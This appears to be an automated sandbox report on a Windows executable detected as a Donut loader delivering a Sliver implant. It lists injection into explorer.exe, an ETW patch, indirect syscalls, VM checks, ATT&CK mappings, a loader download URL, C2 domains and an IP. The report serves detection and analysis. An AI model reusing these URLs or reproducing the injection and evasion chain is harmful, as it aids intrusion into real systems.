Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: String function: 00007FF652E3AE60 appears 47 times
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: String function: 00007FF652E39F10 appears 76 times

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000005.00000002.2998102835.000000001250C000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Multi_Trojan_Bishopsliver_42298c4a reference_sample = 3b45aae401ac64c055982b5f3782a3c4c892bdb9f9a5531657d50c27497c8007, os = multi, severity = x86, creation_date = 2021-10-20, scan_context = file, memory, license = Elastic License v2, threat_name = Multi.Trojan.Bishopsliver, fingerprint = 0734b090ea10abedef4d9ed48d45c834dd5cf8e424886a5be98e484f69c5e12a, id = 42298c4a-fcea-4c5a-b213-32db00e4eb5a, last_modified = 2022-01-14
Source: 00000005.00000000.2017326875.0000000011260000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000005.00000002.3000252057.000000001356C000.00000002.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Multi_Trojan_Bishopsliver_42298c4a reference_sample = 3b45aae401ac64c055982b5f3782a3c4c892bdb9f9a5531657d50c27497c8007, os = multi, severity = x86, creation_date = 2021-10-20, scan_context = file, memory, license = Elastic License v2, threat_name = Multi.Trojan.Bishopsliver, fingerprint = 0734b090ea10abedef4d9ed48d45c834dd5cf8e424886a5be98e484f69c5e12a, id = 42298c4a-fcea-4c5a-b213-32db00e4eb5a, last_modified = 2022-01-14
Source: 00000005.00000002.2997055833.0000000011260000.00000010.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000003.2030512707.000001FF1D5EB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR	Matched rule: Multi_Trojan_Bishopsliver_42298c4a reference_sample = 3b45aae401ac64c055982b5f3782a3c4c892bdb9f9a5531657d50c27497c8007, os = multi, severity = x86, creation_date = 2021-10-20, scan_context = file, memory, license = Elastic License v2, threat_name = Multi.Trojan.Bishopsliver, fingerprint = 0734b090ea10abedef4d9ed48d45c834dd5cf8e424886a5be98e484f69c5e12a, id = 42298c4a-fcea-4c5a-b213-32db00e4eb5a, last_modified = 2022-01-14

Source: WOlxr4yjgF.exe	Binary string: Failed to open \Device\Afd\Mio:
Source: WOlxr4yjgF.exe	Binary string: 4Afdfd\Device\Afd\Mio

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/0@2/2

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Code function: 0_2_00007FF652EBB0B0 memset,GetModuleHandleW,FormatMessageW,GetLastError,

0_2_00007FF652EBB0B0

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Code function: 0_2_00007FF652EDD420 SetLastError,GetCurrentDirectoryW,GetLastError,GetLastError,GetLastError,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlLookupFunctionEntry,CreateToolhelp32Snapshot,memset,Module32FirstW,Module32NextW,UnmapViewOfFile,CloseHandle,UnmapViewOfFile,CloseHandle,CloseHandle,RtlVirtualUnwind,

0_2_00007FF652EDD420

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03

Source: C:\Windows\explorer.exe

File opened: C:\Windows\system32\f2d335c52a2677a376f764b76136e758473be785cd568542d63651a7e0e98b9aAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: WOlxr4yjgF.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: WOlxr4yjgF.exe	String found in binary or memory: https://kaboum.xyz/artdonjon/loader.bin
Source: WOlxr4yjgF.exe	String found in binary or memory: https://kaboum.xyz/artdonjon/loader.bin
Source: WOlxr4yjgF.exe	String found in binary or memory: ?https://kaboum.xyz/artdonjon/loader.bin

Source: unknown	Process created: C:\Users\user\Desktop\WOlxr4yjgF.exe "C:\Users\user\Desktop\WOlxr4yjgF.exe"
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: netapi32.dll	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{50CE75BC-766C-4136-BF5E-9197AA23569E}\InProcServer32

Jump to behavior

Source: WOlxr4yjgF.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: WOlxr4yjgF.exe

Static file information: File size 1191424 > 1048576

Source: WOlxr4yjgF.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source: WOlxr4yjgF.exe

Static PE information: section name: .xdata

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: ntdll.dll function: EtwEventWrite new code: 0xC3 0x38 0x8B 0xBD 0xDC 0xC4

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 870			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 879			Jump to behavior

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-106903

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Code function: 0_2_00007FF652E694F9 memcpy,memcpy,memcpy,memcpy,CloseHandle,GetSystemInfo,

0_2_00007FF652E694F9

Source: explorer.exe, 00000005.00000000.2011860714.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: k&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWuv
Source: explorer.exe, 00000005.00000000.2011142176.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: explorer.exe, 00000005.00000002.2988827931.00000000078A0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: explorer.exe, 00000005.00000000.2011860714.00000000098A8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}'
Source: explorer.exe, 00000005.00000000.2005521713.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&0000000}
Source: explorer.exe, 00000005.00000000.2008226778.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.2011860714.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000005.00000002.2988827931.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: NXTTAVMWare
Source: explorer.exe, 00000005.00000000.2011142176.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f&0&000000
Source: WOlxr4yjgF.exe, 00000000.00000003.2000242665.000001FF1AC91000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1AD07000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1ACB4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2011142176.00000000097D4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000005.00000000.2011860714.0000000009977000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: explorer.exe, 00000005.00000002.2988827931.0000000007A34000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2008226778.0000000007A34000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnx
Source: explorer.exe, 00000005.00000000.2011142176.0000000009660000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000er
Source: explorer.exe, 00000005.00000000.2005521713.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: WOlxr4yjgF.exe, 00000000.00000003.2032728626.000001FF18F98000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2001177889.000001FF18F93000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2004045172.000001FF1AE9B000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2004288034.000001FF18F89000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.1999882732.000001FF18F94000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2030370661.000001FF18F93000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2000350853.000001FF18F8D000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2030200657.000001FF18F91000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000005.00000000.2005521713.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Code function: 0_2_00007FF652EE111E NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,OpenProcessToken,GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,CloseHandle,CloseHandle,memcpy,RtlFreeHeap,RtlFreeHeap,

0_2_00007FF652EE111E

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652E31180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,GetStartupInfoA,	0_2_00007FF652E31180
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652F549C0 SetUnhandledExceptionFilter,VirtualProtectEx,VirtualQueryEx,	0_2_00007FF652F549C0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652F549C0 SetUnhandledExceptionFilter,VirtualProtectEx,VirtualQueryEx,	0_2_00007FF652F549C0
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652F549C0 SetUnhandledExceptionFilter,VirtualProtectEx,VirtualQueryEx,	0_2_00007FF652F549C0

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe

Network Connect: 51.44.82.197 443

Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Memory allocated: C:\Windows\explorer.exe base: 10860000 protect: page read and write

Jump to behavior

Changes memory attributes in foreign processes to executable or writable

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Memory protected: C:\Windows\explorer.exe base: 10860000 protect: page execute

Jump to behavior

Contains functionality to inject threads in other processes

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Code function: 0_2_00007FF652E317F3 memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memset,memcpy,memcpy,memcpy,memcpy,memcpy,memset,RtlFreeHeap,memcpy,memcpy,OpenProcess,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,CloseHandle,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,

0_2_00007FF652E317F3

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Thread created: C:\Windows\explorer.exe EIP: 10860000

Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	NtCreateFile: Indirect: 0x7FF652E665D5	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	NtQueryInformationProcess: Indirect: 0x7FF652EE3473	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	NtQueryInformationProcess: Indirect: 0x7FF652EE34CB	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	NtDeviceIoControlFile: Indirect: 0x7FF652E66018	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	NtQueryInformationProcess: Indirect: 0x7FF652EE1752	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	NtQuerySystemInformation: Indirect: 0x7FF652EE458D	Jump to behavior
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	NtQueryInformationProcess: Indirect: 0x7FF652EE184B	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Memory written: PID: 2580 base: 10860000 value: E8

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Memory written: C:\Windows\explorer.exe base: 10860000

Jump to behavior

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memset,memcpy,memcpy,memcpy,memcpy,memcpy,memset,RtlFreeHeap,memcpy,memcpy,OpenProcess,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,CloseHandle,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError, explorer.exe[-]no process!		0_2_00007FF652E317F3
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memcpy,memset,memcpy,memcpy,memcpy,memcpy,memcpy,memset,RtlFreeHeap,memcpy,memcpy,OpenProcess,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,CreateRemoteThread,CloseHandle,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,RtlFreeHeap,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError, explorer.exe[-]no process!		0_2_00007FF652E317F3

Source: WOlxr4yjgF.exe, 00000000.00000003.2001243488.000001FF1ACEF000.00000004.00000020.00020000.00000000.sdmp, WOlxr4yjgF.exe, 00000000.00000003.2000913752.000001FF1ADE9000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000002.2991308738.0000000009815000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.2005884972.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.2986929766.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: WOlxr4yjgF.exe, 00000000.00000003.2000913752.000001FF1ADE9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd"
Source: explorer.exe, 00000005.00000002.2986436798.0000000001248000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000005.00000000.2005521713.0000000001248000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1Progman$
Source: explorer.exe, 00000005.00000000.2005884972.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.2986929766.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.2005884972.00000000018A0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000005.00000002.2986929766.00000000018A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Code function: 0_2_00007FF652EE2F73 GetProcessTimes,GetSystemTimes,GetProcessIoCounters,

0_2_00007FF652EE2F73

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Sliver Implants

Source: Yara match	File source: 00000005.00000002.3002020019.000000C000138000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR

Remote Access Functionality

Yara detected Sliver Implants

Source: Yara match	File source: 00000005.00000002.3002020019.000000C000138000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 2580, type: MEMORYSTR

Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EB7A83 WSASocketW,WSAGetLastError,WSASocketW,SetHandleInformation,GetLastError,bind,WSAGetLastError,closesocket,WSAGetLastError,		0_2_00007FF652EB7A83
Source: C:\Users\user\Desktop\WOlxr4yjgF.exe	Code function: 0_2_00007FF652EB7F03 bind,		0_2_00007FF652EB7F03

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	712 Process Injection	1 Rootkit	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Credential API Hooking	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	11 Input Capture	1 Query Registry	Remote Desktop Protocol	11 Input Capture	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	712 Process Injection	Security Account Manager	11 Security Software Discovery	SMB/Windows Admin Shares	1 Archive Collected Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	4 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
WOlxr4yjgF.exe	4%	Virustotal		Browse
WOlxr4yjgF.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
https://f=720f813211HTTP/1.1HTTP/1.1eUser-AgentAccept-Lf=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/jscript/js/app.min.js?g=62721655	0%	Avira URL Cloud	safe
https://m=59p4218801HTTP/1.1HTTP/1.1eUser-AgentAccept-Lm=Accept-LanguageAccept-Languageen-US	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/javascript/umd/javascripts/script.js?	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/script.js?f=720f81321	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/app.min.js?v=7759922	0%	Avira URL Cloud	safe
https://sliver.kaboum.xyz/javascript/script.js?i=9g6924310	0%	Avira URL Cloud	safe
